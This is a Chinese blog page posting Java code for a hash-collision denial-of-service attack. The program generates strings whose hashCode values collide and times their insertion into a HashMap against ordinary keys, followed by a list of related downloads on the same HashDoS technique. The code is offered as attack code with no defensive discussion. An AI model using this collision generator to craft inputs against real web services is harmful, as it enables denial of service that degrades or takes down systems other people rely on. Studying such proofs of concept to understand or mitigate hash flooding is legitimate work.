`
wzucxd
  • 浏览: 26535 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
文章分类
社区版块
存档分类
最新评论

Hash Collision攻击的代码(java)

 
阅读更多
Hash Collision攻击的代码(java)
package com.wzucxd;

import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;

public class HashCollision_ {

	private static final int		i1	= 48;
	private static final int		i2	= 8;
	private static final int		i3	= 31;
	private static final int		i4	= 60000;
	private static final long		l1	= i3 - 1;
	private static final long		l2	= 2l << 32;
	private static final BigDecimal	d1	= new BigDecimal(31);
	private static final BigDecimal	d2	= d1.pow(i2);
	private static final BigDecimal	d3	= new BigDecimal(l2);
	
	public static void main(String[] args) {
		
		Map<String, Integer> map = null;
		
		//普通
		long startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			map.put(s, 0);
		}
		long endTime = System.currentTimeMillis();
		System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));
		
		//攻击
		startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			while (s.length() < 5) {
				s = "0" + s;
			}
			int hs = s.hashCode();
			char[] r = g(hs, 0);
			s = s.concat(new String(r));
			map.put(s, 0);
		}
		
		endTime = System.currentTimeMillis();
		System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));
		
	}
	
	private static char[] g(int s, int t) {
		long hx1 = l1 * s + i1;
		BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
		BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
		BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
		BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
		long l = hx4.subtract(b).longValue();
		l = (l + l2) % l2;
		if (l < 0)
			l += l2;
		char[] c = new char[i2];
		int p = 0;
		while (l != 0) {
			c[p++] = (char) (l % (i3) + i1);
			l = l / i3;
		}
		int f = i2 - p;
		char[] cs = new char[i2];
		int i = 0;
		while (i < f) {
			cs[i++] = (char) i1;
		}
		while (i < i2) {
			cs[i] = c[p - i + f - 1];
			++i;
		}
		return cs;
	}

	
}

分享到:
评论

相关推荐

    Java Hash Collision DoS Attack

    Java实现的Hash Collision DoS Attack

    关于Hash Collision DoS漏洞:web实例

    标题中的“Hash Collision DoS漏洞:web实例”指的是在Web应用程序中出现的一种安全问题,即哈希碰撞拒绝服务攻击(Hash Collision Denial of Service)。这种攻击利用了哈希表(Hash Table)数据结构的特性,当两个...

    geohash算法实现Java代码

    Java代码实现GeoHash时,可以创建一个GeoHash类,包含 encode 和 decode 方法。encode方法用于生成GeoHash字符串,decode方法则用于还原经纬度坐标。此外,还可以扩展类来支持范围查询,例如计算两个GeoHash之间的...

    非常使用的 基于geohash 找最近位置java代码

    非常使用的 基于geohash 找一定范围内的 最近位置java代码

    警惕Hash Collision Dos.pdf

    【警惕Hash Collision Dos】这篇文档主要讨论了一种名为“Hash Collision Dos”的网络安全威胁,这种攻击方式利用了哈希表(HashTable)的冲突特性对Web服务器进行拒绝服务(Denial of Service,DoS)攻击。...

    常用的hash算法(java实现)

    与MD5类似,由于已知的碰撞攻击,现在不建议用于安全敏感的应用。在Java中,同样通过`MessageDigest`类实现SHA-1: ```java public class SHA1Example { public static String getSHA1(String input) { try { ...

    Java实现GeoHash算法

    Java实现GeoHash算法是一种在IT领域中用于地理位置数据存储和检索的技术。GeoHash将经纬度坐标转换为字符串,使得地理位置可以被高效地索引和查询。这种算法利用了空间分割和编码策略,使得相邻的位置在编码后具有...

    各种Hash函数(JAVA版)

    RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....

    基于java的开发源码-哈希计算工具 Java-hash.zip

    基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发...

    Ketama一致性Hash算法(含Java代码) 1

    在Java中,Spy Memcached客户端使用了TreeMap来模拟环形结构,因为TreeMap能保持元素的有序性。每个节点(包括虚拟节点)作为TreeMap的键,它们之间存在顺序关系,而节点的顺序则由实现Comparator接口的自定义比较器...

    哈希计算工具 java-hash.7z

    哈希计算工具 `java-hash.7z` 是一个专门用于进行哈希运算的软件包,主要服务于编程领域,特别是Java开发者。哈希计算在信息技术中扮演着至关重要的角色,它能够将任意大小的数据映射为固定长度的哈希值,这个值通常...

    哈希计算工具 java-hash

    例如,使用MD5算法计算字符串的哈希值的Java代码示例: ```java import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class MD5HashExample { public static void main...

    geohash-java:Geohash的Java实现

    geohash-java a Java implement of Geohash 提供下列接口: Modifier and Type Method and Description String toGeoHash(double lng, double lat) 根据经纬度计算 geohash String toGeoHash(double lng, double lat...

    c++MD5hash摘要源代码

    在提供的压缩包文件中,"Md5"可能是源代码文件的名字,它很可能包含了MD5算法的实现。这个源码文件可能会包含类或者函数,用于处理输入数据并计算MD5摘要。用户可以通过调用这些函数,传递需要计算的字符串或文件,...

    hash算法C代码实现

    哈希(Hash)算法在计算机科学中扮演着重要的角色,特别是在数据存储、文件校验、信息安全等领域。本文将深入探讨哈希算法的原理,并提供一个简单的C语言实现示例。 哈希算法,又称为散列函数,是一种将任意长度的...

    hashcollision

    莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...

    Hash算法大全(java实现)参照.pdf

    例如,FNV1算法(未在上述代码中直接给出Java实现),它是一种广泛使用的非加密Hash函数,具有较好的分布特性。另外,Pearson's Hash和CRC Hashing也是常见的Hash算法,虽然未在给定的代码中完全展示,但它们分别...

    JAVA-hash-table.zip_Table_hash_hash table java_java hash 查找_哈希表设

    (1) 建立一个哈希表,哈希函数为除留余数法,处理冲突的方法为线性探测再散列或二次探测再散列。 (2) 往哈希表中依次存入插入多个单词。 (3) 显示哈希表的存储情况。 (4) 计算哈希表的平均查找长度。...

    JAVA上百实例源码以及开源项目源代码

    Java局域网通信——飞鸽传书源代码 28个目标文件 内容索引:JAVA源码,媒体网络,飞鸽传书 Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java...

    C开源hash代码uthash

    uthash 是C的比较优秀的开源代码,它实现了常见的hash操作函数,例如查找、插入、删除等待。该套开源代码采用宏的方式实现hash函数的相关功能,支持C语言的任意数据结构最为key值,甚至可以采用多个值作为key,无论...

Global site tag (gtag.js) - Google Analytics